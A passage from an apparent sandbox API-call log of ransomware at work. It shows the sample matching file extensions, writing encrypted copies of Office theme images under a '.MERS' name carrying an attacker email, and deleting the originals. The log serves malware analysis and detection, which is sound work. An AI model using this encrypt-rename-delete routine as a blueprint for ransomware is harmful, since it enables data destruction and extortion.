(lpString1=".pdf", lpString2=".GIF") returned 1 [0048.470] lstrlenW (lpString=".xls") returned 4 [0048.470] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.470] lstrlenW (lpString=".xlsx") returned 5 [0048.470] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.470] lstrlenW (lpString=".ppt") returned 4 [0048.470] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.470] lstrlenW (lpString=".zip") returned 4 [0048.470] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.470] lstrlenW (lpString=".rar") returned 4 [0048.470] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.470] lstrlenW (lpString=".bz2") returned 4 [0048.470] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.470] lstrlenW (lpString=".7z") returned 3 [0048.470] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.470] lstrlenW (lpString=".dbf") returned 4 [0048.470] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.470] lstrlenW (lpString=".1cd") returned 4 [0048.470] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.470] lstrlenW (lpString=".jpg") returned 4 [0048.470] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.471] lstrlenW (lpString=".doc") returned 4 [0048.471] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.471] lstrlenW (lpString=".docx") returned 5 [0048.471] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.471] lstrlenW (lpString=".pdf") returned 4 [0048.471] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.471] lstrlenW (lpString=".xls") returned 4 [0048.471] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.471] lstrlenW (lpString=".xlsx") returned 5 [0048.471] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.471] lstrlenW (lpString=".ppt") returned 4 [0048.471] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.471] lstrlenW (lpString=".zip") returned 4 [0048.471] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.471] lstrlenW (lpString=".rar") returned 4 [0048.471] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.471] lstrlenW (lpString=".bz2") returned 4 [0048.471] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.471] lstrlenW (lpString=".7z") returned 3 [0048.471] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.471] lstrlenW (lpString=".dbf") returned 4 [0048.471] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.471] lstrlenW (lpString=".1cd") returned 4 [0048.472] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.472] lstrlenW (lpString=".jpg") returned 4 [0048.472] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.472] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.472] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.474] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=26402) returned 1 [0048.475] CloseHandle (hObject=0x1e4) returned 1 [0048.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0048.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.475] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.475] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.475] GetLastError () returned 0x0 [0048.475] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x6722, lpOverlapped=0x0) returned 1 [0048.507] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0048.510] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.510] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.510] SetEndOfFile (hFile=0x1a8) returned 1 [0048.510] CloseHandle (hObject=0x1a8) returned 1 [0048.511] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.511] SetEndOfFile (hFile=0x1e4) returned 1 [0048.512] CloseHandle (hObject=0x1e4) returned 1 [0048.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.512] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0048.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.512] lstrlenW (lpString=".doc") returned 4 [0048.512] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.512] lstrlenW (lpString=".docx") returned 5 [0048.512] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.512] lstrlenW (lpString=".pdf") returned 4 [0048.512] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.512] lstrlenW (lpString=".xls") returned 4 [0048.512] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.512] lstrlenW (lpString=".xlsx") returned 5 [0048.513] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.513] lstrlenW (lpString=".ppt") returned 4 [0048.513] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.513] lstrlenW (lpString=".zip") returned 4 [0048.513] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.513] lstrlenW (lpString=".rar") returned 4 [0048.513] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.513] lstrlenW (lpString=".bz2") returned 4 [0048.513] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.513] lstrlenW (lpString=".7z") returned 3 [0048.513] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.513] lstrlenW (lpString=".dbf") returned 4 [0048.513] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.513] lstrlenW (lpString=".1cd") returned 4 [0048.513] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.513] lstrlenW (lpString=".jpg") returned 4 [0048.513] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.513] lstrlenW (lpString=".doc") returned 4 [0048.513] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.513] lstrlenW (lpString=".docx") returned 5 [0048.513] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.513] lstrlenW (lpString=".pdf") returned 4 [0048.513] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.513] lstrlenW (lpString=".xls") returned 4 [0048.513] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.513] lstrlenW (lpString=".xlsx") returned 5 [0048.513] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.513] lstrlenW (lpString=".ppt") returned 4 [0048.513] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.513] lstrlenW (lpString=".zip") returned 4 [0048.514] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.514] lstrlenW (lpString=".rar") returned 4 [0048.514] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.514] lstrlenW (lpString=".bz2") returned 4 [0048.514] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString=".7z") returned 3 [0048.514] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.514] lstrlenW (lpString=".dbf") returned 4 [0048.514] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.514] lstrlenW (lpString=".1cd") returned 4 [0048.514] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.514] lstrlenW (lpString=".jpg") returned 4 [0048.514] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.514] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.514] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.514] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=32433) returned 1 [0048.514] CloseHandle (hObject=0x1e4) returned 1 [0048.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0048.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.515] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.515] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.515] GetLastError () returned 0x0 [0048.515] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0048.517] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0048.518] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.518] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.520] SetEndOfFile (hFile=0x1a8) returned 1 [0048.521] CloseHandle (hObject=0x1a8) returned 1 [0048.521] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.521] SetEndOfFile (hFile=0x1e4) returned 1 [0048.522] CloseHandle (hObject=0x1e4) returned 1 [0048.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.522] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0048.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.522] lstrlenW (lpString=".doc") returned 4 [0048.522] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.522] lstrlenW (lpString=".docx") returned 5 [0048.522] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.522] lstrlenW (lpString=".pdf") returned 4 [0048.522] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.522] lstrlenW (lpString=".xls") returned 4 [0048.522] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.522] lstrlenW (lpString=".xlsx") returned 5 [0048.522] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.523] lstrlenW (lpString=".ppt") returned 4 [0048.523] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.523] lstrlenW (lpString=".zip") returned 4 [0048.523] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.523] lstrlenW (lpString=".rar") returned 4 [0048.523] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.523] lstrlenW (lpString=".bz2") returned 4 [0048.523] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.523] lstrlenW (lpString=".7z") returned 3 [0048.523] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.523] lstrlenW (lpString=".dbf") returned 4 [0048.523] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.523] lstrlenW (lpString=".1cd") returned 4 [0048.523] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.523] lstrlenW (lpString=".jpg") returned 4 [0048.523] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.523] lstrlenW (lpString=".doc") returned 4 [0048.523] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.523] lstrlenW (lpString=".docx") returned 5 [0048.523] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.523] lstrlenW (lpString=".pdf") returned 4 [0048.523] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.523] lstrlenW (lpString=".xls") returned 4 [0048.523] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.523] lstrlenW (lpString=".xlsx") returned 5 [0048.524] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.524] lstrlenW (lpString=".ppt") returned 4 [0048.524] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.524] lstrlenW (lpString=".zip") returned 4 [0048.524] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.524] lstrlenW (lpString=".rar") returned 4 [0048.524] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.524] lstrlenW (lpString=".bz2") returned 4 [0048.524] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.524] lstrlenW (lpString=".7z") returned 3 [0048.524] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.524] lstrlenW (lpString=".dbf") returned 4 [0048.524] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.524] lstrlenW (lpString=".1cd") returned 4 [0048.524] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.524] lstrlenW (lpString=".jpg") returned 4 [0048.524] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.524] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.524] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.525] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=5120) returned 1 [0048.525] CloseHandle (hObject=0x1e4) returned 1 [0048.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0048.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.525] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.525] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.527] GetLastError () returned 0x0 [0048.527] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x1400, lpOverlapped=0x0) returned 1 [0048.651] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0048.653] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.653] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.653] SetEndOfFile (hFile=0x1a8) returned 1 [0048.653] CloseHandle (hObject=0x1a8) returned 1 [0048.653] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.653] SetEndOfFile (hFile=0x1e4) returned 1 [0048.654] CloseHandle (hObject=0x1e4) returned 1 [0048.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.654] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0048.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.655] lstrlenW (lpString=".doc") returned 4 [0048.655] lstrcmpiW 